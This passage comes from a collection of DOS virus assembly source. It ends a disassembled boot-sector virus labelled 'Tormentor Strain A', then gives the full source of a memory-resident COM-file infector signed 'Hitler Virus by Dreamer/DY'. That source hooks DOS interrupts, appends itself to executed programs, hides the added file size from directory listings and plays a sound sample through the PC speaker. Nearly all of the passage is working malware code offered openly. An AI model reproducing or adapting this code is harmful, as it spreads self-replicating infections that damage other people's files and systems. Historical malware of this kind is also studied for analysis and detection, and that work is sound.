  1069. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1070. ;                   SUBROUTINE
  1071. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1072.   
  1073. sub_1        proc    near
  1074. loc_5:
  1075.         mov    bx,7
  1076.         cld                ; Clear direction
  1077.         lodsb                ; String [si] to al
  1078.         or    al,al            ; Zero ?
  1079.         jz    loc_ret_9        ; Jump if zero
  1080.         jns    loc_6            ; Jump if not sign
  1081.         xor    al,0D7h
  1082.         or    bl,88h
  1083. loc_6:
  1084.         cmp    al,20h            
  1085.         jbe    loc_7            ; Jump if below or =
  1086.         mov    cx,1
  1087.         mov    ah,9            ; 
  1088.         int    10h            ; Video display   ah=functn 09h
  1089.                         ; set char al & attrib bl @curs
  1090. loc_7:
  1091.         mov    ah,0Eh
  1092.         int    10h            ; Video display   ah=functn 0Eh
  1093.                         ;  write char al, teletype mode
  1094.         jmp    short loc_5        ; (00DA)
  1095.   
  1096. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1097.   
  1098. sub_2:
  1099.         mov    bx,200h
  1100.         mov    cx,2
  1101.         mov    ah,cl
  1102.         call    sub_5            ; (011D)
  1103.         mov    cx,2709h
  1104.         xor    byte ptr es:[bx],0FDh
  1105.         jz    loc_8            ; Jump if zero
  1106.         mov    cx,4F0Fh
  1107. loc_8:
  1108.         jmp    short loc_ret_9        ; (0127)
  1109.         nop
  1110.   
  1111. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1112.   
  1113. sub_3:
  1114.         mov    ah,2
  1115.         mov    bx,200h
  1116.   
  1117. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1118.   
  1119. sub_4:
  1120.         mov    cx,1
  1121.   
  1122. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1123.   
  1124. sub_5:
  1125.         mov    dh,0
  1126.   
  1127. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1128.   
  1129. sub_6:
  1130.         mov    al,1
  1131.   
  1132. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1133.   
  1134. sub_7:
  1135.         pushf                ; Push flags
  1136.         call    dword ptr cs:data_15
  1137.   
  1138. loc_ret_9:
  1139.         retn
  1140. sub_1        endp
  1141.   
  1142.         push    ax
  1143.         push    bx
  1144.         push    cx
  1145.         push    dx
  1146.         push    es
  1147.         push    ds
  1148.         push    si
  1149.         push    di
  1150.         pushf                ; Push flags
  1151.         push    cs
  1152.         pop    ds
  1153.         cmp    dl,1
  1154.         ja    loc_11            ; Jump if above
  1155.         and    ax,0FE00h
  1156.         jz    loc_11            ; Jump if zero
  1157.         xchg    al,ch
  1158.         shl    al,1            ; Shift w/zeros fill
  1159.         add    al,dh
  1160.         mov    ah,9
  1161.         mul    ah            ; ax = reg * al
  1162.         add    ax,cx
  1163.         sub    al,6
  1164.         cmp    ax,6
  1165.         ja    loc_11            ; Jump if above
  1166.         push    cs
  1167.         pop    es
  1168.         call    sub_3            ; (0115)
  1169.         jc    loc_10            ; Jump if carry Set
  1170.         mov    di,offset data_14
  1171.         mov    si,offset ds:[243h]
  1172.         mov    cx,0Eh
  1173.         std                ; Set direction flag
  1174.         repe    cmpsb            ; Rep zf=1+cx >0 Cmp [si] to
  1175.                         ; es:[di]
  1176.         jz    loc_11            ; Jump if zero
  1177.         sub    si,cx
  1178.         sub    di,cx
  1179.         mov    cl,33h            ; '3'
  1180.         rep    movsb            ; Rep when cx >0 Mov [si] to
  1181.                         ; es:[di]
  1182.         call    sub_2            ; (00FB)
  1183.         push    cx
  1184.         push    bx
  1185.         call    sub_3            ; (0115)
  1186.         mov    ah,3
  1187.         xor    bx,bx            ; Zero register
  1188.         call    sub_4            ; (011A)
  1189.         pop    bx
  1190.         pop    cx
  1191.         jc    loc_10            ; Jump if carry Set
  1192.         mov    dh,1
  1193.         mov    ah,3
  1194.         call    sub_6            ; (011F)
  1195. loc_10:
  1196.         xor    ax,ax            ; Zero register
  1197.         call    sub_7            ; (0121)
  1198. loc_11:
  1199.         mov    ah,4
  1200.         int    1Ah            ; Real time clock   ah=func 04h
  1201.                         ; read date cx=year, dx=mon/day
  1202.         cmp    dh,9
  1203.         jne    not_month        ; Jump if not equal
  1204.         mov    si,1B1h
  1205.         call    sub_1            ; (00DA)
  1206. not_month:
  1207.         popf                ; Pop flags
  1208.         pop    di
  1209.         pop    si
  1210.         pop    ds
  1211.         pop    es
  1212.         pop    dx
  1213.         pop    cx
  1214.         pop    bx
  1215.         pop    ax
  1216.         jmp    dword ptr cs:data_15
  1217. data_15        dd    0C602EC59h
  1218. data_16        dd    0F000E6F2h
  1219.         esc    2,ch            ; coprocessor escape
  1220.         and    [bp+di-4141h],al
  1221.         movsb                ; Mov [si] to es:[di]
  1222.         idiv    word ptr [bp-85Ch]    ; ax,dxrem=dx:ax/data
  1223.         xchg    ax,si
  1224.         mov    si,offset ds:[0B4A5h]
  1225.         mov    ax,0DAA7h
  1226.         esc    5,[bx+si]        ; coprocessor escape
  1227.         db    'IO      SYSMSDOS   SYS', 0Dh, 0Ah
  1228.         db    'Non-system disk or disk error', 0Dh
  1229.         db    0Ah
  1230.         add    [bx+si],al
  1231.         push    bp
  1232. ;        jmp    cont
  1233.  
  1234. ;        db    'Tormentor Strain A - RABID Nat''nl Development Corp.'
  1235.         stosb
  1236. ;cont:        stosb                ; Store al to es:[di]
  1237.   
  1238. tormentor    endp
  1239.  
  1240. quit:    mov    ax,4c00h
  1241.     int    21h
  1242.  
  1243.     
  1244.     code_seg    ends
  1245. end     start
  1246.  
  1247.  
  1248. done
  1249.  
  1250.                 call    rakett
  1251. old             db '═ É!¡'
  1252. rakett:         pop     bp
  1253.                 push    bp
  1254.                 add     bp,-103h
  1255.  
  1256.                 mov     ax,42ABh
  1257.                 int     21h
  1258.                 jnc     failed
  1259.  
  1260.                 cli
  1261.                 mov     ax,3521h
  1262.                 int     21h
  1263.                 mov     w [bp+offset old21],bx
  1264.                 mov     w [bp+offset old21+2],es
  1265.  
  1266.                 mov     al,1Ch
  1267.                 int     21h
  1268.                 cli
  1269.                 mov     w [bp+offset old1C],bx
  1270.                 mov     w [bp+offset old1C+2],es
  1271.                 mov     w [bp+offset teller],16380
  1272.                 sti
  1273.  
  1274.                 call    normalspeed
  1275.  
  1276.                 mov     si,ds
  1277.                 std
  1278.                 lodsb
  1279.                 cld
  1280.                 mov     ds,si
  1281.  
  1282.                 xor     bx,bx
  1283.                 mov     cx,pgf
  1284.                 cmp     b [bx],'Z'
  1285.                 jne     failed
  1286.                 mov     ax,[bx+3]
  1287.                 sub     ax,cx
  1288.                 jc      failed
  1289.                 mov     [bx+3],ax
  1290.                 sub     [bx+12h],cx
  1291.                 mov     es,[bx+12h]
  1292.  
  1293.                 push    cs
  1294.                 pop     ds
  1295.  
  1296.                 mov     di,100h
  1297.                 mov     si,bp
  1298.                 add     si,di
  1299.                 mov     cx,size
  1300.                 rep     movsb
  1301.  
  1302.                 push    es
  1303.                 pop     ds
  1304.                 mov     ax,2521h
  1305.                 mov     dx,offset ni21
  1306.                 int     21h
  1307.                 mov     al,1Ch
  1308.                 mov     dx,offset ni1C
  1309.                 int     21h
  1310.  
  1311. failed:         push    cs
  1312.                 push    cs
  1313.                 pop     ds
  1314.                 pop     es
  1315.  
  1316.                 pop     si
  1317.                 mov     di,100h
  1318.                 push    di
  1319.                 movsw
  1320.                 movsw
  1321.                 movsb
  1322.  
  1323.                 mov     cx,0FFh
  1324.                 mov     si,100h
  1325.                 ret
  1326.  
  1327.  
  1328. findFCB:        popf
  1329.                 call    int21
  1330.                 pushf
  1331.                 or      al,al
  1332.                 jnz     backFCB
  1333.                 call    stealth
  1334. backFCB:        popf
  1335.                 iret
  1336.  
  1337. stealth:        push    ax
  1338.                 push    bx
  1339.                 push    dx
  1340.                 push    es
  1341.  
  1342.                 mov     ah,2Fh
  1343.                 call    int21
  1344.  
  1345.                 cmp     byte es:[bx],0FFh
  1346.                 jne     normFCB
  1347.                 add     bx,8
  1348. normFCB:        mov     al,byte es:[bx+16h]
  1349.                 and     al,31
  1350.                 xor     al,31
  1351.                 jnz     shitFCB
  1352.                 mov     ax,word es:[bx+1Ch]
  1353.                 mov     dx,word es:[bx+1Ch+2]
  1354.                 sub     ax,size
  1355.                 sbb     dx,0
  1356.                 jc      shitFCB
  1357.                 mov     word es:[bx+1Ch],ax
  1358.                 mov     word es:[bx+1Ch+2],dx
  1359. shitFCB:
  1360.                 pop     es
  1361.                 pop     dx
  1362.                 pop     bx
  1363.                 pop     ax
  1364.                 ret
  1365.  
  1366. ni21:           pushf
  1367.                 cmp     ah,11h
  1368.                 je      findFCB
  1369.                 cmp     ah,12h
  1370.                 je      findFCB
  1371.  
  1372.                 cmp     ax,42ABh
  1373.                 jne     not_42AB
  1374.                 popf
  1375.                 clc
  1376.                 retf    2
  1377. not_42AB:
  1378.                 cmp     ax,4B00h
  1379.                 jne     not_4B00
  1380.  
  1381. call    install_24
  1382.  
  1383.                 push    ax
  1384.                 push    bx
  1385.                 push    cx
  1386.                 push    dx
  1387.                 push    ds
  1388.                 push    bp
  1389.  
  1390.                 mov     ax,4300h
  1391.                 call    int21
  1392.                 jc      back1
  1393.                 mov     cs:old_attr,cx
  1394.  
  1395.                 test    cl,4
  1396.                 jnz     back1
  1397.  
  1398.                 mov     ax,4301h
  1399.                 xor     cx,cx
  1400.                 call    int21
  1401.                 jc      back1
  1402.  
  1403.                 push    dx
  1404.                 push    ds
  1405.                 call    infect
  1406.                 pop     ds
  1407.                 pop     dx
  1408.  
  1409.                 mov     ax,4301h
  1410. db              0B9h    ;mov CX,...
  1411. old_attr        dw 0
  1412.                 call    int21
  1413.  
  1414. back1:          ;go here if the attrib-get fails
  1415.                 pop     bp
  1416.                 pop     ds
  1417.                 pop     dx
  1418.                 pop     cx
  1419.                 pop     bx
  1420.                 pop     ax
  1421.  
  1422. call    remove_24
  1423.  
  1424. not_4B00:
  1425. back:           popf
  1426.                 db 0EAh
  1427. old21           dw 0,0
  1428.  
  1429. int21:          pushf
  1430.                 call    dword ptr cs:old21
  1431.                 ret
  1432.  
  1433. infect:         mov     ax,3D02h
  1434.                 call    int21
  1435.                 jnc     okay_open
  1436. bad1:           ret
  1437. okay_open:      xchg    bx,ax
  1438.                 mov     ax,5700h
  1439.                 call    int21
  1440.                 push    cx
  1441.                 mov     bp,sp
  1442.                 push    dx
  1443.  
  1444.                 mov     ah,3Fh
  1445.                 mov     cx,5
  1446.                 mov     dx,offset old
  1447.                 push    cs
  1448.                 pop     ds
  1449.                 call    int21
  1450.                 jc      close
  1451.                 cmp     al,5
  1452.                 jne     close
  1453.  
  1454.                 cmp     word old[0],'MZ'
  1455.                 je      close
  1456.                 cmp     word old[0],'ZM'
  1457.                 je      close
  1458.                 cmp     old[0],0E9h
  1459.                 jne     infect1
  1460.                 cmp     word old[3],'¡!'
  1461.                 jne     infect1
  1462.  
  1463. close:          pop     dx
  1464.                 pop     cx
  1465.                 mov     ax,5701h
  1466.                 call    int21
  1467.                 mov     ah,3Eh
  1468.                 call    int21
  1469.                 ret
  1470.  
  1471. infect1:        mov     ax,4202h
  1472.                 xor     cx,cx
  1473.                 xor     dx,dx
  1474.                 call    int21
  1475.  
  1476.                 or      dx,dx
  1477.                 jnz     close
  1478.                 cmp     ax,59000
  1479.                 jae     close
  1480.  
  1481.                 dec     ax
  1482.                 dec     ax
  1483.                 dec     ax
  1484.  
  1485.                 mov     word ptr putjmp[1],ax
  1486.  
  1487.                 mov     ah,40h
  1488.                 mov     cx,size
  1489.                 mov     dx,100h
  1490.                 call    int21
  1491.                 jc      close
  1492.                 cmp     ax,size
  1493.                 jne     close
  1494.  
  1495.                 mov     ax,4200h
  1496.                 xor     cx,cx
  1497.                 xor     dx,dx
  1498.                 call    int21
  1499.  
  1500.                 mov     ah,40h
  1501.                 mov     cx,5
  1502.                 mov     dx,offset putjmp
  1503.                 call    int21
  1504.  
  1505.                 or      byte ss:[bp],31
  1506.  
  1507.                 jmp     close
  1508.  
  1509. putjmp          db 0E9h
  1510.                 dw 0
  1511.                 db '!¡'
  1512.  
  1513. install_24:     pushf
  1514.                 cli
  1515.                 push    bx
  1516.                 push    ds
  1517.                 xor     bx,bx
  1518.                 mov     ds,bx
  1519.                 push    ds
  1520.                 lds     bx,[24h*4]
  1521.                 mov     cs:old24[0],bx
  1522.                 mov     cs:old24[2],ds
  1523.                 pop     ds
  1524.                 mov     word [(24h*4)],offset ni24
  1525.                 mov     [(24h*4)+2],cs
  1526.                 pop     ds
  1527.                 pop     bx
  1528.                 sti
  1529.                 popf
  1530.                 ret
  1531.  
  1532. remove_24:      pushf
  1533.                 cli
  1534.                 push    bx
  1535.                 push    es
  1536.                 push    ds
  1537.                 xor     bx,bx
  1538.                 mov     ds,bx
  1539.                 les     bx,cs:old24[0]
  1540.  
  1541.                 mov     [(24h*4)],bx
  1542.                 mov     [(24h*4)+2],es
  1543.  
  1544.                 pop     ds
  1545.                 pop     es
  1546.                 pop     bx
  1547.                 sti
  1548.                 popf
  1549.                 ret
  1550.  
  1551. errflag         db 0
  1552.  
  1553. db 'Hitler Virus by Dreamer/DY',0
  1554.  
  1555. ni24:           mov     al,3
  1556.                 mov     cs:errflag,1
  1557.                 iret
  1558.  
  1559. old24           dw      0,0
  1560.  
  1561. xofs            dw offset sample
  1562. len             equ 4131
  1563. divisor         equ 230
  1564. teller          dw 16380
  1565.  
  1566. ni1C:
  1567.                 cli
  1568.                 pushf
  1569.                 push    ax
  1570.                 push    ds
  1571.                 push    si
  1572.  
  1573.                 push    cs
  1574.                 pop     ds
  1575.  
  1576.                 cmp     teller,0
  1577.                 je      teller_ok
  1578.                 dec     teller
  1579.                 jmp     noreset
  1580. teller_ok:
  1581.                 mov     al,34h
  1582.                 db      0E6h,43h        ;out 43h,al
  1583.                 mov     al,divisor
  1584.                 db      0E6h,40h        ;out 40h,al
  1585.                 mov     al,0
  1586.                 db      0E6h,40h        ;out 40h,al
  1587.  
  1588.                 mov     al,090h
  1589.                 db      0E6h,43h        ;out 43h,al
  1590.                 mov     si,xofs
  1591.                 lodsb
  1592.                 db      0E6h,42h        ;out 42h,al
  1593.  
  1594.                 db      0E4h,61h        ;in al,61h
  1595.                 or      al,3
  1596.                 db      0E6h,61h        ;out al,61h
  1597.  
  1598.                 inc     xofs
  1599.                 cmp     xofs,len+offset sample
  1600.                 jb      noreset
  1601.                 mov     xofs,offset sample
  1602. noreset:
  1603.                 sti
  1604.                 pop     si
  1605.                 pop     ds
  1606.                 pop     ax
  1607.                 popf
  1608.  
  1609.                 db      0EAh
  1610. old1C           dw      0,0
  1611.  
  1612. normalspeed:    cli
  1613.                 push    ax
  1614.                 mov     al,34h
  1615.                 db      0E6h,43h
  1616.                 mov     al,0
  1617.                 db      0E6h,40h
  1618.                 db      0E6h,40h
  1619.                 pop     ax
  1620.                 sti
  1621.                 ret
  1622.  
  1623. sample:
  1624.  
  1625.  
  1626.  
  1627.  
  1628.         db 080h,080h,080h,080h,080h,081h,080h,081h,081h,081h,081h,081h,083h
  1629.         db 083h,083h,083h,083h,083h,083h,083h,083h,083h,081h,081h,081h,081h
  1630.         db 080h,080h,080h,080h,080h,080h,080h,080h,080h,080h,065h,000h,000h
  1631.         db 075h,08Ah,084h,083h,083h,089h,081h,081h,081h,07Ah,079h,07Ch,07Ah
  1632.         db 07Bh,07Ch,07Fh,07Ah,078h,079h,07Fh,07Bh,07Fh,07Dh,07Bh,07Ah,07Fh
  1633.         db 083h,08Ah,08Ch,088h,08Ah,085h,083h,089h,08Bh,080h,082h,07Fh,081h
  1634.         db 07Fh,082h,081h,08Bh,07Ah,074h,07Ch,07Eh,080h,07Fh,07Fh,083h,07Fh
  1635.         db 084h,082h,083h,080h,083h,081h,07Dh,07Eh,080h,083h,083h,07Dh,079h
  1636.         db 07Fh,084h,080h,07Bh,07Dh,07Fh,07Fh,07Ch,07Ah,07Dh,083h,081h,07Fh
  1637.         db 082h,080h,07Bh,07Fh,08Ah,08Bh,086h,085h,086h,083h,089h,089h,086h
  1638.         db 084h,07Dh,07Ch,07Eh,085h,086h,085h,086h,083h,081h,088h,087h,080h
  1639.         db 07Dh,081h,083h,081h,080h,07Ch,07Eh,076h,075h,07Bh,07Ah,075h,072h
  1640.         db 075h,06Fh,074h,07Eh,080h,07Fh,07Fh,07Fh,083h,087h,085h,084h,08Ah
  1641.         db 08Bh,086h,087h,08Ah,08Ah,08Ah,081h,081h,089h,084h,081h,07Ch,086h
  1642.         db 083h,084h,082h,07Fh,082h,07Fh,087h,086h,082h,080h,076h,07Ch,07Bh
  1643.         db 07Bh,082h,07Dh,07Eh,07Ah,07Fh,07Eh,085h,084h,082h,084h,07Eh,088h
  1644.         db 07Fh,088h,07Eh,07Fh,07Dh,077h,07Ch,075h,07Dh,078h,07Bh,079h,07Fh
  1645.         db 080h,084h,088h,081h,083h,087h,084h,087h,082h,089h,08Bh,08Fh,08Dh
  1646.         db 08Bh,087h,080h,083h,081h,08Ch,07Ah,082h,076h,07Fh,07Bh,07Ah,07Ah
  1647.         db 07Ch,077h,072h,077h,07Ch,07Fh,080h,07Eh,07Bh,07Dh,07Ah,080h,07Ch
  1648.         db 07Eh,076h,082h,082h,08Dh,089h,084h,085h,085h,086h,087h,089h,086h
  1649.         db 085h,08Ch,087h,090h,085h,07Ch,082h,083h,087h,07Ch,088h,07Bh,074h
  1650.         db 091h,085h,09Bh,086h,086h,070h,076h,079h,08Dh,080h,06Bh,063h,069h
  1651.         db 07Dh,067h,04Ch,081h,07Ah,0ABh,0A8h,09Ch,08Eh,060h,056h,07Fh,088h
  1652.         db 089h,075h,094h,08Ch,013h,092h,040h,0D7h,0B0h,097h,0C4h,036h,057h
  1653.         db 082h,0CBh,0C5h,09Dh,0C8h,00Dh,0A5h,026h,0A7h,072h,06Bh,0E0h,032h
  1654.         db 089h,07Ah,0A7h,0E4h,0D7h,048h,07Fh,034h,07Bh,054h,06Fh,0B6h,02Bh
  1655.         db 06Ah,055h,0ABh,0C0h,032h,09Fh,074h,06Fh,0A4h,043h,0B6h,040h,087h
  1656.         db 090h,095h,0FFh,060h,015h,074h,039h,0E0h,044h,0D7h,080h,027h,0C9h
  1657.         db 070h,0E7h,0F8h,025h,0AEh,009h,0ABh,050h,067h,0ACh,01Ch,0E3h,068h
  1658.         db 09Fh,0FFh,02Fh,0CEh,014h,09Fh,080h,023h,0C4h,056h,0D3h,075h,0AFh
  1659.         db 0F4h,035h,0A8h,000h,077h,040h,000h,09Ch,05Bh,0BBh,078h,0EBh,0D4h
  1660.         db 07Fh,0A8h,007h,0BDh,032h,04Dh,092h,087h,0D4h,08Dh,0FFh,070h,0D7h
  1661.         db 04Ch,06Bh,08Ch,01Ah,08Fh,078h,092h,087h,0CFh,0E8h,06Fh,0A0h,000h
  1662.         db 0A5h,01Ch,007h,069h,073h,0B0h,07Fh,0FFh,068h,0D1h,028h,067h,070h
  1663.         db 009h,09Bh,05Ch,0BFh,06Ch,0DFh,0A0h,09Fh,080h,01Bh,0A0h,020h,077h
  1664.         db 082h,08Bh,0A8h,0A7h,0F0h,077h,0C8h,011h,0BAh,044h,033h,0B0h,069h
  1665.         db 0B2h,08Eh,0FFh,068h,0DAh,018h,06Fh,060h,00Dh,0BAh,053h,0AFh,06Eh
  1666.         db 0D7h,0B0h,07Fh,080h,00Ah,0B2h,020h,055h,080h,05Dh,098h,09Bh,0C0h
  1667.         db 07Fh,094h,009h,0AFh,032h,05Bh,080h,05Ah,093h,093h,0FFh,071h,0DCh
  1668.         db 030h,07Fh,080h,01Fh,0BBh,074h,0F2h,079h,0E7h,074h,0DFh,050h,03Fh
  1669.         db 0A2h,02Ch,0B7h,070h,06Dh,072h,0AFh,0F0h,05Ah,0A2h,000h,095h,032h
  1670.         db 01Fh,094h,06Bh,0E0h,054h,0F6h,059h,0E3h,048h,05Fh,0A0h,033h,0BFh
  1671.         db 074h,073h,070h,0E7h,0A0h,06Bh,074h,000h,0A1h,024h,027h,065h,08Dh
  1672.         db 097h,0BBh,0FFh,06Ah,0E2h,04Ah,07Fh,084h,003h,087h,04Fh,0CDh,075h
  1673.         db 0E5h,0B8h,09Dh,0A8h,019h,0C2h,048h,047h,0A0h,05Ch,071h,077h,0FFh
  1674.         db 068h,06Bh,074h,00Fh,0BBh,010h,077h,048h,087h,0A4h,087h,0FCh,07Dh
  1675.         db 0F0h,040h,0C7h,082h,047h,0B8h,04Ah,099h,05Eh,0DBh,082h,087h,058h
  1676.         db 000h,098h,020h,06Fh,072h,06Fh,0A8h,083h,0FFh,059h,0E5h,052h,067h
  1677.         db 0AAh,028h,0B9h,03Fh,0C6h,05Ch,0AFh,0C0h,087h,0A0h,00Eh,0BBh,04Ah
  1678.         db 08Fh,080h,03Fh,078h,064h,0FFh,068h,093h,068h,01Fh,0B6h,020h,092h
  1679.         db 04Bh,0B7h,08Ah,095h,0D8h,08Bh,0C0h,021h,0C7h,06Ah,07Fh,09Ch,067h
  1680.         db 085h,04Eh,0FFh,070h,09Fh,050h,000h,0ADh,021h,08Fh,058h,0BFh,084h
  1681.         db 075h,0E0h,06Fh,0D0h,014h,0ABh,074h,077h,0B8h,046h,096h,056h,0EFh
  1682.         db 098h,07Fh,098h,000h,0A3h,038h,05Fh,070h,06Fh,0A4h,04Bh,0E4h,054h
  1683.         db 0D9h,040h,06Fh,098h,05Dh,0C2h,051h,095h,054h,095h,0DCh,06Fh,0B8h
  1684.         db 000h,06Fh,068h,03Fh,0A0h,057h,0E0h,049h,0DDh,084h,0C7h,074h,025h
  1685.         db 0D8h,05Bh,0E6h,04Ch,08Fh,068h,03Fh,0E8h,04Ah,0CFh,032h,033h,0A0h
  1686.         db 039h,0C2h,040h,0D7h,05Ch,09Bh,0A0h,087h,098h,029h,0D5h,070h,09Fh
  1687.         db 082h,07Bh,084h,03Dh,0D5h,068h,0BDh,02Ch,01Bh,0A8h,040h,0BDh,054h
  1688.         db 0B3h,062h,04Fh,0D6h,064h,0D4h,039h,05Fh,098h,06Fh,0C8h,03Ah,0B1h
  1689.         db 04Eh,06Fh,0A4h,07Fh,0AAh,011h,097h,06Ah,09Bh,094h,049h,0C0h,045h
  1690.         db 0AFh,080h,09Dh,098h,022h,0BFh,062h,0BDh,065h,047h,0B0h,040h,0BFh
  1691.         db 070h,0ADh,070h,01Dh,0C9h,067h,089h,06Ch,07Fh,0D0h,060h,0BFh,072h
  1692.         db 09Bh,080h,000h,08Dh,052h,0ABh,064h,055h,0DAh,078h,0CBh,0A8h,0AFh
  1693.         db 080h,016h,09Fh,062h,0AFh,04Ch,03Dh,0C0h,062h,05Fh,0C8h,05Bh,0CEh
  1694.         db 024h,01Bh,084h,06Bh,08Ch,060h,0BFh,0A4h,09Dh,0FFh,060h,0BCh,01Ah
  1695.         db 000h,0B0h,066h,0CCh,054h,073h,0D8h,085h,09Bh,0C8h,055h,0C2h,020h
  1696.         db 001h,072h,056h,069h,07Ch,0AAh,0A8h,07Bh,0AFh,080h,087h,090h,018h
  1697.         db 065h,071h,065h,0C2h,095h,0DAh,0B1h,09Ch,0C5h,08Ah,07Bh,080h,03Dh
  1698.         db 044h,051h,05Fh,06Ah,075h,089h,07Eh,082h,083h,080h,06Eh,064h,062h
  1699.         db 066h,075h,083h,08Bh,0A2h,0A6h,0A9h,0BAh,08Bh,091h,076h,07Bh,07Eh
  1700.         db 069h,07Bh,064h,06Dh,080h,075h,079h,06Ah,077h,07Ah,071h,078h,06Fh
  1701.         db 082h,07Ah,083h,090h,088h,07Ch,07Dh,088h,085h,089h,08Ah,085h,083h
  1702.         db 091h,086h,089h,085h,079h,07Fh,07Bh,083h,07Eh,077h,078h,083h,07Fh
  1703.         db 082h,08Bh,076h,079h,075h,07Fh,090h,074h,079h,075h,077h,072h,085h
  1704.         db 084h,076h,07Eh,074h,07Dh,07Eh,07Ah,080h,080h,07Fh,077h,07Eh,07Ah
  1705.         db 080h,080h,07Fh,088h,07Ch,084h,07Fh,07Fh,080h,081h,07Eh,079h,08Ah
  1706.         db 087h,086h,083h,08Dh,086h,07Ch,08Ch,07Ah,07Bh,073h,087h,098h,082h
  1707.         db 083h,07Dh,083h,07Ch,075h,083h,06Dh,077h,073h,085h,085h,072h,07Ch
  1708.         db 077h,082h,07Ah,07Ch,075h,06Bh,06Ch,073h,082h,073h,075h,07Eh,074h
  1709.         db 081h,087h,08Dh,088h,080h,075h,07Fh,08Dh,083h,097h,084h,081h,083h
  1710.         db 085h,080h,078h,07Dh,078h,07Fh,082h,087h,08Ch,078h,082h,081h,086h
  1711.         db 082h,07Dh,081h,07Bh,074h,078h,084h,078h,084h,080h,07Eh,079h,075h
  1712.         db 079h,072h,081h,07Dh,08Bh,07Eh,07Bh,086h,082h,086h,07Fh,07Eh,077h
  1713.         db 076h,084h,07Eh,080h,074h,077h,07Fh,090h,08Ch,085h,07Ah,062h,06Ah
  1714.         db 080h,08Ch,08Dh,07Eh,072h,07Bh,082h,089h,095h,08Ah,06Fh,07Ah,083h
  1715.         db 082h,083h,07Bh,077h,07Ah,079h,082h,07Dh,06Eh,077h,06Eh,082h,07Eh
  1716.         db 088h,07Dh,07Fh,078h,071h,081h,075h,07Ch,086h,07Fh,086h,07Eh,085h
  1717.         db 081h,086h,087h,08Dh,08Ah,076h,07Ah,07Ah,086h,085h,08Ah,086h,085h
  1718.         db 07Dh,077h,078h,06Eh,07Fh,07Ah,07Dh,07Eh,074h,083h,079h,088h,07Ah
  1719.         db 084h,078h,073h,081h,079h,086h,083h,081h,07Fh,082h,094h,080h,080h
  1720.         db 06Eh,069h,07Ch,078h,07Eh,07Bh,07Ch,072h,086h,090h,086h,07Dh,079h
  1721.         db 07Eh,084h,08Bh,07Eh,080h,080h,072h,090h,088h,07Ch,079h,076h,07Bh
  1722.         db 07Fh,086h,07Ah,081h,07Dh,07Dh,08Ah,07Ah,080h,070h,075h,07Eh,079h
  1723.         db 085h,073h,076h,075h,087h,087h,088h,084h,07Ch,07Ah,076h,077h,07Bh
  1724.         db 079h,083h,07Bh,081h,07Dh,07Ch,07Fh,080h,081h,07Fh,08Ah,082h,082h
  1725.         db 08Ch,082h,086h,086h,08Ah,083h,080h,071h,073h,07Fh,077h,084h,087h
  1726.         db 081h,07Bh,07Fh,07Fh,087h,086h,079h,083h,077h,087h,07Ch,07Ch,07Ch
  1727.         db 075h,082h,071h,076h,07Ch,076h,079h,079h,082h,070h,080h,07Ah,081h
  1728.         db 087h,084h,07Ah,070h,07Dh,06Fh,082h,084h,07Eh,081h,07Bh,07Dh,07Fh
  1729.         db 08Fh,07Dh,07Ch,084h,07Eh,07Bh,086h,088h,07Eh,08Fh,089h,075h,08Ah
  1730.         db 07Dh,079h,07Dh,080h,079h,07Fh,086h,077h,078h,07Dh,06Eh,08Dh,07Fh
  1731.         db 074h,076h,07Eh,078h,078h,08Dh,079h,07Eh,082h,07Eh,080h,087h,079h
  1732.         db 076h,082h,074h,07Eh,081h,06Eh,074h,081h,082h,081h,092h,07Bh,07Fh
  1733.         db 08Fh,08Ah,08Bh,07Ch,070h,074h,08Fh,07Eh,084h,084h,06Fh,075h,07Ah
  1734.         db 08Eh,07Bh,07Ch,078h,078h,083h,086h,08Eh,07Eh,082h,070h,07Dh,08Dh
  1735.         db 078h,07Bh,06Fh,077h,076h,087h,085h,074h,079h,077h,07Dh,085h,084h
  1736.         db 06Bh,07Eh,07Eh,077h,086h,088h,079h,07Dh,091h,07Bh,081h,09Bh,073h
  1737.         db 080h,07Bh,07Bh,090h,084h,070h,07Bh,08Ah,078h,07Fh,081h,071h,07Fh
  1738.         db 082h,080h,074h,081h,07Bh,06Dh,07Fh,070h,078h,089h,07Ch,077h,089h
  1739.         db 08Ah,07Fh,086h,07Eh,072h,081h,073h,068h,07Fh,082h,073h,085h,08Ah
  1740.         db 086h,09Eh,093h,07Bh,081h,086h,069h,07Dh,086h,06Ch,07Fh,088h,088h
  1741.         db 08Fh,09Ch,08Ch,079h,086h,074h,067h,06Dh,064h,069h,077h,07Fh,084h
  1742.         db 09Fh,085h,08Dh,09Bh,074h,071h,06Ch,05Dh,062h,07Dh,06Dh,073h,086h
  1743.         db 090h,091h,097h,092h,07Ah,079h,07Ch,061h,06Dh,076h,073h,070h,088h
  1744.         db 090h,094h,09Bh,09Bh,094h,078h,077h,078h,060h,05Dh,069h,07Bh,087h
